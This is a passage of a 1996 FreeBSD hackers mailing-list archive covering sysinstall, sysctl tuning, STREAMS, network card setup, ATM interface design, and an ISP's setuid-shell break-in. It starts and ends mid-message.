(MET DST) Cc: freebsd-stable@freebsd.org Reply-To: joerg_wunsch@interface-business.de (Joerg Wunsch) X-Phone: +49-351-31809-14 X-Fax: +49-351-3361187 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL15 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hope i didn't get anything wrong. Thanks to Wolfram's little script, i've gone through all my past-year commits and reviewed what should go into 2.1.5 and what not. The only thing i've left by now is share/examples/lkm, they are absolutely unbuildable right now. Dunno whether this does really fall under the code freeze, otherwise i might perhaps find the time to correct them within the next couple of days. -- J"org Wunsch Unix support engineer joerg_wunsch@interface-business.de http://www.interface-business.de/~j From owner-freebsd-hackers Tue Jun 25 11:43:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA27600 for hackers-outgoing; Tue, 25 Jun 1996 11:43:40 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id LAA27595 for ; Tue, 25 Jun 1996 11:43:38 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id LAA06337; Tue, 25 Jun 1996 11:42:57 -0700 (PDT) To: Brandon Gillespie cc: freebsd-hackers@FreeBSD.org Subject: Re: Utility for adding a disk... In-reply-to: Your message of "Tue, 25 Jun 1996 11:51:11 MDT." Date: Tue, 25 Jun 1996 11:42:56 -0700 Message-ID: <6335.835728176@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I'm bringing up this overly beat topic again partially out of > frustration. The sysinstall utility has the mechanisms needed for > installing a disk, but they will NOT DO ANYTHING unless you actually > install SOMETHING, which I do not want to do. I realize there have been Are you talking about the current incarnation of sysinstall or one of the outdated versions? The outdated versions are broken - I can't fix those retroactively. :-) Jordan From owner-freebsd-hackers Tue Jun 25 11:51:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA28185 for hackers-outgoing; Tue, 25 Jun 1996 11:51:59 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA28168 for ; Tue, 25 Jun 1996 11:51:55 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id EAA20563; Wed, 26 Jun 1996 04:51:12 +1000 Date: Wed, 26 Jun 1996 04:51:12 +1000 From: Bruce Evans Message-Id: <199606251851.EAA20563@godzilla.zeta.org.au> To: freebsd-hackers@freebsd.org, henrich@crh.cl.msu.edu Subject: Re: netinet/udp_usrreq.c and udpcksum Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Now I ask, why has udpcksum become static in -current, Because it is only referenced in one file. >and how does one go >about tweaking it now? The usual ways. Hack on it in /dev/kmem using a debugger or otherwise, or use sysctl: sysctl -a | grep udpcksum # to find the name and value sysctl net.inet.udp.checksum # to read the value when its # (inconsistent) name is known sysctl -w net.inet.udp.checksum=1234 # to write the value Using sysctl is by far the best method for those variables that sysctl supports. Bruce From owner-freebsd-hackers Tue Jun 25 11:53:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA28417 for hackers-outgoing; Tue, 25 Jun 1996 11:53:37 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA28399; Tue, 25 Jun 1996 11:53:26 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.6.12/8.6.12) id OAA04214; Tue, 25 Jun 1996 14:53:23 -0400 From: Charles Henrich Message-Id: <199606251853.OAA04214@crh.cl.msu.edu> Subject: Re: netinet/udp_usrreq.c and udpcksum To: phk@FreeBSD.ORG (Poul-Henning Kamp) Date: Tue, 25 Jun 1996 14:53:23 -0400 (EDT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <956.835722024@critter.tfs.com> from "Poul-Henning Kamp" at Jun 25, 96 10:00:24 am X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > In message <199606251718.NAA03946@crh.cl.msu.edu>, Charles Henrich writes: > >Now I ask, why has udpcksum become static in -current, and how does one go > >about tweaking it now? > > use sysctl I needed to tweak it in source :) I found the appropriate SYSCTL_INT knobs to adjust, thanks guys! -Crh Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Tue Jun 25 11:57:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA28750 for hackers-outgoing; Tue, 25 Jun 1996 11:57:15 -0700 (PDT) Received: from crash.cts.com (root@crash.cts.com [192.188.72.17]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA28741; Tue, 25 Jun 1996 11:57:13 -0700 (PDT) Received: by crash.cts.com (Smail3.1.29.1 #5) id m0uYdIV-00016sC; Tue, 25 Jun 96 11:57 PDT Date: Tue, 25 Jun 1996 11:57:11 -0700 (PDT) From: Tony Sterrett To: Joao Carlos Mendes Luis cc: questions@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: STREAMS In-Reply-To: <199606250325.AAA19362@mailhost.coppe.ufrj.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Joao Carlos Mendes Luis wrote: > #define quoting(Tony Sterrett) > // Hello. > // I know this question is in bad taste but, is their anybody working on SYS V like STREAMS in the BSD world. > // I'm a BSD programmer, however I like the STREAMS model. > // Please reply to sterrett@cts.com > // Cheers, > // Tony > > If someone starts working on this, please tell me. I'd like to help, > but I don't have time or experience enough to manage such a project. > > I took a look at linux streams implementation and that is completely > out-performing. We could do really better if there was critical mass > enough to start this project. I agree, I would like to be a team member also. Anybody else. Please email directly > > BTW: Let's not talk about performance or ideology. Such e-mails will > be ignored. I'm not proposing the use of STREAMS as the *BSD core network > framework, but just that it could be available for others designers. I agree. I think we have to consider perfomance but not dwell ( or spinwait) on it. Cheers, Tony - sterrett@cts.com > > Jonny > > -- > Joao Carlos Mendes Luis jonny@gta.ufrj.br > +55 21 290-4698 ( Job ) jonny@cisi.coppe.ufrj.br > Network Manager UFRJ/COPPE/CISI > Universidade Federal do Rio de Janeiro > From owner-freebsd-hackers Tue Jun 25 12:07:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA29525 for hackers-outgoing; Tue, 25 Jun 1996 12:07:38 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA29519 for ; Tue, 25 Jun 1996 12:07:35 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id MAA00421; Tue, 25 Jun 1996 12:06:56 -0700 From: Terry Lambert Message-Id: <199606251906.MAA00421@phaeton.artisoft.com> Subject: Re: Utility for adding a disk... To: brandon@tombstone.sunrem.com (Brandon Gillespie) Date: Tue, 25 Jun 1996 12:06:56 -0700 (MST) Cc: freebsd-hackers@FreeBSD.org In-Reply-To: from "Brandon Gillespie" at Jun 25, 96 11:51:11 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I'm bringing up this overly beat topic again partially out of > frustration. The sysinstall utility has the mechanisms needed for > installing a disk, but they will NOT DO ANYTHING unless you actually > install SOMETHING, which I do not want to do. I realize there have been > a few attempts at creating a utility for simply adding a disk, but they > seem to have all faltered and disappeared. What I am wondering is if it > would be possible to simply shag various portions of sysinstall to create > a diskinstall? Just include the Partion, Label and commit steps, and > have it merge with an existing fstab when it commits..? I am a > software-inclined person (PC at its best ;) and unfortunately I do not > have the hardware experience to grunt out adding a disk. Right now it > seems to be not only an extreme guru task, but it also requires a touch > of dietism in the mystical workings of hardware and filesystems.. 1) Get DEVFS rolled in as *the* default. Get rid of specfs entirely. 2) I will write the rest. It's trivial, and it's orthoganal. The same utility will work for partitioning, disklabelling, etc.. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Jun 25 12:34:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA03240 for hackers-outgoing; Tue, 25 Jun 1996 12:34:35 -0700 (PDT) Received: from ns.NL.net (ns.NL.net [193.78.240.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA03205 for ; Tue, 25 Jun 1996 12:34:24 -0700 (PDT) Received: from spase by ns.NL.net via EUnet id AA19212 (5.65b/CWI-3.3); Tue, 25 Jun 1996 17:05:31 +0200 Received: from phobos.spase.nl (phobos [192.9.200.238]) by mercurius.spase.nl (8.6.11/8.6.11) with ESMTP id RAA19040 for ; Tue, 25 Jun 1996 17:00:42 +0200 From: Kees Jan Koster Received: (dutchman@localhost) by phobos.spase.nl (8.6.12/8.6.11) id RAA07493 for freebsd-hackers@FreeBSD.ORG; Tue, 25 Jun 1996 17:01:04 +0200 Message-Id: <199606251501.RAA07493@phobos.spase.nl> Subject: SGML docs. To: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers Mailing list) Date: Tue, 25 Jun 1996 17:01:04 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hoi Hackers, Strictly speaking this is not a hackers issue, sorry for the clobber. Please reply by private mail. Could somebody please point me where I can find some documentation on SGML. I tried using it, but even including a picture in a document is impossible without some docs on SGML. A sample document with pictures/crossreferences and references to other sgml/html docs would be very welcome. Groetjes, Kees Jan ======================================================================v== Kees Jan Koster e-mail: dutchman@spase.nl Van Somerenstraat 50 tel: NL-24-3234708 6521 BS Nijmegen the Netherlands ========================================================================= Who is this general Failure and why is he reading my disk? (anonymous) ========================================================================= From owner-freebsd-hackers Tue Jun 25 13:03:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA09634 for hackers-outgoing; Tue, 25 Jun 1996 13:03:48 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA09613; Tue, 25 Jun 1996 13:03:43 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id NAA11159; Tue, 25 Jun 1996 13:03:06 -0700 (PDT) Date: Tue, 25 Jun 1996 13:03:06 -0700 (PDT) From: -Vince- To: "Eric J. Schwertfeger" cc: Mark Murray , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Eric J. Schwertfeger wrote: > On Tue, 25 Jun 1996, -Vince- wrote: > > > Yeah, you have a point but jbhunt was watching the user as he > > hacked root since he brought the file from his own machine.... so that > > wasn't something the admin was tricked into doing.. > > Then the important question is, how did he move the file so that it > retained the setuid bit? We're already pretty sure that the program is > only /bin/sh with the setuid bit turned on. So either he found a way to > move the file with the bit turned on, or he found a way to turn it on, > which reqires root access. It was a remote login so he had to transfer it over somehow... Vince From owner-freebsd-hackers Tue Jun 25 13:15:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA11672 for hackers-outgoing; Tue, 25 Jun 1996 13:15:20 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA11662 for ; Tue, 25 Jun 1996 13:15:17 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id NAA13032; Tue, 25 Jun 1996 13:14:43 -0700 (PDT) Date: Tue, 25 Jun 1996 13:14:42 -0700 (PDT) From: -Vince- To: mark thompson cc: hackers@freefall.freebsd.org, Chad Shackley , jbhunt , security@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606251403.HAA15335@squirrel.tgsoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, mark thompson wrote: > It seems that -Vince- said: > > > > On Tue, 25 Jun 1996, Don Yuniskis wrote: > > > > > It seems that -Vince- said: > > > > Hmmm, that's only if we had phone support.... We don't :) but do > > > > admins really go run a program that the user said won't run? > > > > > > Well, it *appears* that one of *you* did! :> > > > > Well, jbhunt was the one who gave the user the account and the > > user just transferred the root which is /bin/sh with setuid and ran it > > and he got root.... > > Once upon a time, one of our nice users brought in a tape he wanted > read. One of the guys logged in as root, hung the tape and untarred it > into the nice user's directory. > > The tape contained a shell that was setuid root... but we didn't > discover that 'till later. > > Seems this guy didn't want to *break* anything, but just wanted to admin > the machine himself, being dissatisfied with us. Anyway, i learned > several valuable lessons: > > 1) Scan the machine for setuid programs. Often. > > 2) Read user's tapes when logged in as the user. > > 3) If you are running a computer system, trust nobody. This is very true.... Vince From owner-freebsd-hackers Tue Jun 25 13:18:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA12185 for hackers-outgoing; Tue, 25 Jun 1996 13:18:19 -0700 (PDT) Received: from midnight.keanesea.com (midnight.keanesea.com [206.213.110.9]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA12178 for ; Tue, 25 Jun 1996 13:18:13 -0700 (PDT) Received: (from cyrusgr@localhost) by midnight.keanesea.com (8.7.4/8.7.3) id NAA02052; Tue, 25 Jun 1996 13:20:12 +0800 Date: Tue, 25 Jun 1996 13:20:12 +0800 (GMT-8) From: Cyrus Gray To: hackers@freebsd.org Subject: How do I configure 3 3c509's? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk how do I configure 3 3c509's under FreeBSD ? I can get one setup just fine but when I try enable ep1, or enable ep2 it doesn't work any help would be appriciated From owner-freebsd-hackers Tue Jun 25 14:13:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA21056 for hackers-outgoing; Tue, 25 Jun 1996 14:13:55 -0700 (PDT) Received: from mail.think.com (Mail1.Think.COM [131.239.33.245]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA21042 for ; Tue, 25 Jun 1996 14:13:51 -0700 (PDT) Received: from Early-Bird-1.Think.COM by mail.think.com; Tue, 25 Jun 96 16:52:11 -0400 Received: from compound.Think.COM by Early-Bird.Think.COM; Tue, 25 Jun 96 17:13:32 EDT Received: (from alk@localhost) by compound.Think.COM (8.7.5/8.7.3) id QAA20467; Tue, 25 Jun 1996 16:16:45 -0500 (CDT) Date: Tue, 25 Jun 1996 16:16:45 -0500 (CDT) From: Tony Kimball Message-Id: <199606252116.QAA20467@compound.Think.COM> To: jbhunt@mercury.gaianet.net Cc: hackers@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I suggest inducing the user to repeat her exploit. Take the system down. Wipe the user's directory. Bring it up, with a motd reporting a disk crash, and partial restoration. Log everything the user does. Or, you might just *ask*. Most folks who hack a random ISP system do it for fun, and love to brag about it. From owner-freebsd-hackers Tue Jun 25 14:44:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA24830 for hackers-outgoing; Tue, 25 Jun 1996 14:44:24 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA24807 for ; Tue, 25 Jun 1996 14:44:18 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA00994; Tue, 25 Jun 1996 14:43:37 -0700 From: Terry Lambert Message-Id: <199606252143.OAA00994@phaeton.artisoft.com> Subject: Re: I need help on this one - please help me track this guy down! To: alk@Think.COM (Tony Kimball) Date: Tue, 25 Jun 1996 14:43:37 -0700 (MST) Cc: jbhunt@mercury.gaianet.net, hackers@FreeBSD.ORG In-Reply-To: <199606252116.QAA20467@compound.Think.COM> from "Tony Kimball" at Jun 25, 96 04:16:45 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I suggest inducing the user to repeat her exploit. Take the system > down. Wipe the user's directory. Bring it up, with a motd reporting > a disk crash, and partial restoration. Log everything the user does. > > Or, you might just *ask*. Most folks who hack a random ISP system do > it for fun, and love to brag about it. rcp preserves suid/sgid on the target system. Now look for a writeable sticky directory... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Jun 25 14:58:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA26742 for hackers-outgoing; Tue, 25 Jun 1996 14:58:55 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA26732 for ; Tue, 25 Jun 1996 14:58:48 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id OAA28219; Tue, 25 Jun 1996 14:58:15 -0700 (PDT) Date: Tue, 25 Jun 1996 14:58:15 -0700 (PDT) From: -Vince- To: Tony Kimball cc: jbhunt@mercury.gaianet.net, Chad Shackley , hackers@FreeBSD.ORG Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606252116.QAA20467@compound.Think.COM> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Tony Kimball wrote: > I suggest inducing the user to repeat her exploit. Take the system > down. Wipe the user's directory. Bring it up, with a motd reporting > a disk crash, and partial restoration. Log everything the user does. Well, he can always use another account to log back in.. > Or, you might just *ask*. Most folks who hack a random ISP system do > it for fun, and love to brag about it. Yeah, but some will never tell you how it's done... Vince From owner-freebsd-hackers Tue Jun 25 15:47:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA03521 for hackers-outgoing; Tue, 25 Jun 1996 15:47:09 -0700 (PDT) Received: from ref.tfs.com ([206.245.251.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA03505 for ; Tue, 25 Jun 1996 15:47:06 -0700 (PDT) Received: (from julian@localhost) by ref.tfs.com (8.7.5/8.7.3) id PAA00954; Tue, 25 Jun 1996 15:47:03 -0700 (PDT) Message-Id: <199606252247.PAA00954@ref.tfs.com> Subject: Re: Frame relay and ATM support: virtual interface per vpi? To: rminnich@Sarnoff.COM (Ron G. Minnich) Date: Tue, 25 Jun 1996 15:47:02 -0700 (PDT) From: "JULIAN Elischer" Cc: hackers@FreeBSD.ORG In-Reply-To: from "Ron G. Minnich" at Jun 25, 96 08:25:27 am X-Mailer: ELM [version 2.4 PL25 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > virtual interface per vpi is what i'm doing for MINI. I have to: MINI > looks like 4096 atm interfaces *at the hardware level*, so the carrying > that through to the OS and applications makes sense. > > I vote for the virtual interface approach ... err yukk! :) what do you mean "at the hardware"? does it have 4096 interrupt vectors and 4096 shared memeory buffers? I put it to you that there is only one driver running, with one 'instance' of itself, and that there is only one line to the outside, and one "packet's received" counter. (well there may be more I guess). I also guess that you can't run one at one speed and another at another speed... If you bring down the interface, they should all stop etc.etc. in other words, while your hardware might support 4096 VCIs I'll bet that I can make as good an argument for having one interface as you can for having many.. One might as well argue that ethjernet should be implimented by having a separate virtual interface for every machine for which there is an ARP table entry. I'm not really arguing AGAINST you rather than trying to understand the reasons being used as If I start writing something that will be available in FreeBSD as a standard interface (in much the same way that my SCSI interface is the standard interface for BSD scsi drivers) for VC based interfaces then I don;t want to have to REWRITE it too many times when I find that the original method is unworkable.. julian > ron > > Ron Minnich |"Inferno runs on MIPS ..., Intel ..., and AMD's > rminnich@sarnoff.com |29-kilobit-per-second chip-based architectures ..." > (609)-734-3120 | Comm. week, may 13, pg. 4. > ftp://ftp.sarnoff.com/pub/mnfs/www/docs/cluster.html > > > From owner-freebsd-hackers Tue Jun 25 16:38:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA09836 for hackers-outgoing; Tue, 25 Jun 1996 16:38:46 -0700 (PDT) Received: from etinc.com (etinc.com [204.141.244.98]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA09829 for ; Tue, 25 Jun 1996 16:38:42 -0700 (PDT) Received: from dialup-usr11.etinc.com (dialup-usr11.etinc.com [204.141.95.132]) by etinc.com (8.6.12/8.6.9) with SMTP id TAA20076; Tue, 25 Jun 1996 19:45:35 -0400 Date: Tue, 25 Jun 1996 19:45:35 -0400 Message-Id: <199606252345.TAA20076@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: "JULIAN Elischer" From: dennis@etinc.com (Dennis) Subject: Re: Frame relay and ATM support: virtual interface per vpi? Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> >> >> virtual interface per vpi is what i'm doing for MINI. I have to: MINI >> looks like 4096 atm interfaces *at the hardware level*, so the carrying >> that through to the OS and applications makes sense. >> >> I vote for the virtual interface approach ... >err yukk! >:) > >what do you mean "at the hardware"? >does it have 4096 interrupt vectors and 4096 shared memeory buffers? > >I put it to you that there is only one driver running, with >one 'instance' of itself, and that there is only one >line to the outside, and one "packet's received" counter. >(well there may be more I guess). I also guess that you can't run one >at one speed and another at another speed... >If you bring down the interface, they should all stop etc.etc. >in other words, while your hardware might support 4096 VCIs I'll >bet that I can make as good an argument for having one interface as you can for >having many.. >One might as well argue that ethjernet should be implimented by having >a separate virtual interface for every machine for which there is an >ARP table entry. > >I'm not really arguing AGAINST you rather than trying to understand the reasons >being used as If I start writing something that will be available in FreeBSD >as a standard interface (in much the same way that my SCSI interface is >the standard interface for BSD scsi drivers) for VC based interfaces >then I don;t want to have to REWRITE it too many times when I find that >the original method is unworkable.. > >julian You'll never do it in a way that makes everybody happy, so just make sure that you don't hack anything in the O/S that make other potential implementations unworkable. The worst thing that you can do is to force the O/S into only working with your implementation. Our frame implementation for freebsd is approaching perfection, and I'd hate to see all of the effort and gains made with freebsd go to waste just so some hackers can have source. Dennis ---------------------------------------------------------------------------- Emerging Technologies, Inc. http://www.etinc.com Synchronous Communications Cards and Routers For Discriminating Tastes. 56k to T1 and beyond. Frame Relay, PPP, HDLC, and X.25 for BSD/OS, FreeBSD and LINUX From owner-freebsd-hackers Tue Jun 25 18:21:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA19368 for hackers-outgoing; Tue, 25 Jun 1996 18:21:23 -0700 (PDT) Received: from clotho.c2.org (clotho.c2.org [140.174.185.10]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id SAA19360; Tue, 25 Jun 1996 18:21:21 -0700 (PDT) From: sameer@c2.org Received: (from sameer@localhost) by clotho.c2.org (8.6.12/CSUA) id SAA17741; Tue, 25 Jun 1996 18:21:13 -0700 Message-Id: <199606260121.SAA17741@clotho.c2.org> Subject: Need to figure out how to install a new kernel on boot floppy To: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org Date: Tue, 25 Jun 1996 18:21:11 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have learned more about my problem and know exactly what I need to do, I think. I need to boot from a custom kernel, from a floppy, and have it use sd0a as the root device. I tried taking a floppy, installing boot blocks, building a kernel, and copying the kernel over to it (using a 2nd machine, which is working) but when the kernel boots, it tries to use fd0c as the root device even though the kernel config file said to use sd0a as the root device. help! thanks, -- Sameer Parekh Voice: 510-986-8770 Community ConneXion, Inc. FAX: 510-986-8777 The Internet Privacy Provider http://www.c2.net/ sameer@c2.net From owner-freebsd-hackers Tue Jun 25 18:24:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA19988 for hackers-outgoing; Tue, 25 Jun 1996 18:24:28 -0700 (PDT) Received: from jraynard.demon.co.uk (jraynard.demon.co.uk [158.152.42.77]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id SAA19722 for ; Tue, 25 Jun 1996 18:22:34 -0700 (PDT) Received: (from fqueries@localhost) by jraynard.demon.co.uk (8.6.12/8.6.12) id AAA02972; Wed, 26 Jun 1996 00:10:14 GMT Date: Wed, 26 Jun 1996 00:10:14 GMT Message-Id: <199606260010.AAA02972@jraynard.demon.co.uk> From: James Raynard To: sterrett@cts.com CC: freebsd-hackers@freebsd.org In-reply-to: (message from Tony Sterrett on Tue, 25 Jun 1996 11:54:26 -0700 (PDT)) Subject: Re: STREAMS Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [re adding a streams facility to FreeBSD] > > A "real" SVR4-style kernel implementation would be a lot of work, > > though. > > Well a task is half done once it is begun. True, but the last 10% of the work takes 90% of the time. 8-) Seriously, though, I would suggest you sound out the mood and establish some sort of support *before* starting - it would be a terrible waste of effort if you were to do all that work and then not have it integrated. I am *not* trying in any way to discourage you or say that there is anything wrong with what you want to do, just trying to point out some of the practicalities. Anyway, this kind of discussion really belongs in -hackers, where most of the people you need to convince are to be found, so I've taken the liberty of re-directing it there. -- James Raynard, Edinburgh, Scotland james@jraynard.demon.co.uk From owner-freebsd-hackers Tue Jun 25 18:58:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA22990 for hackers-outgoing; Tue, 25 Jun 1996 18:58:22 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id SAA22985 for ; Tue, 25 Jun 1996 18:58:19 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id VAA28595; Tue, 25 Jun 1996 21:56:01 -0400 Date: Tue, 25 Jun 1996 21:56:00 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: JULIAN Elischer cc: hackers@FreeBSD.ORG Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-Reply-To: <199606252247.PAA00954@ref.tfs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > what do you mean "at the hardware"? MINI is an interface which has 4096 virtual atm interfaces, i.e. 4096 independent sets of control/status registers, memory buffers, and whatever else it takes to support this, at the hardware level. These resources are addressed on page boundaries. User programs can map in an individual interface and control it directly. There's a one-to-one correspondance between VCIs and virtual interfaces. VCI multiplexing is done in hardware, not in software, which is a fundamental difference from other atm interfaces. There's reasons for doing this outside the scope of this discussion, but let's just say it makes cluster computing a whole lot easier. You can get data from app-to-app in a few microseconds, a definite win as compared to the typical O(500 microseconds) you get from existing atm interfaces. The only nice way i've found to do this is to make each hardware mini interface have a corresponding 'if' structure. in practice i doubt very much to see more than a fraction of the virtual interfaces used, but you never know. I'm planning to allocate these structures dynamically. > I put it to you that there is only one driver running, with > one 'instance' of itself, and that there is only one > line to the outside, and one "packet's received" counter. That's an interesting question. If a user takes over a virtual interface, and the OS is basically out of the picture for that virtual interface, then where's the driver? in user mode? metaphysics ... > If you bring down the interface, they should all stop etc.etc. not necessarily. Depends on circumstances. > One might as well argue that ethjernet should be implimented by having > a separate virtual interface for every machine for which there is an > ARP table entry. No, one might as well not. Making a case for a virtual interface for each ATM VCI has no correspondance to an interface per arp table entry. Ethernet and atm are really very different, given the packet vs. vc model. You may find what i found, that trying to screw the vc model into the existing bsd net layer gets somewhat weird. To date, most companies selling software for atm have made the atm interface work like an ethernet interface, only a little different. Not a great 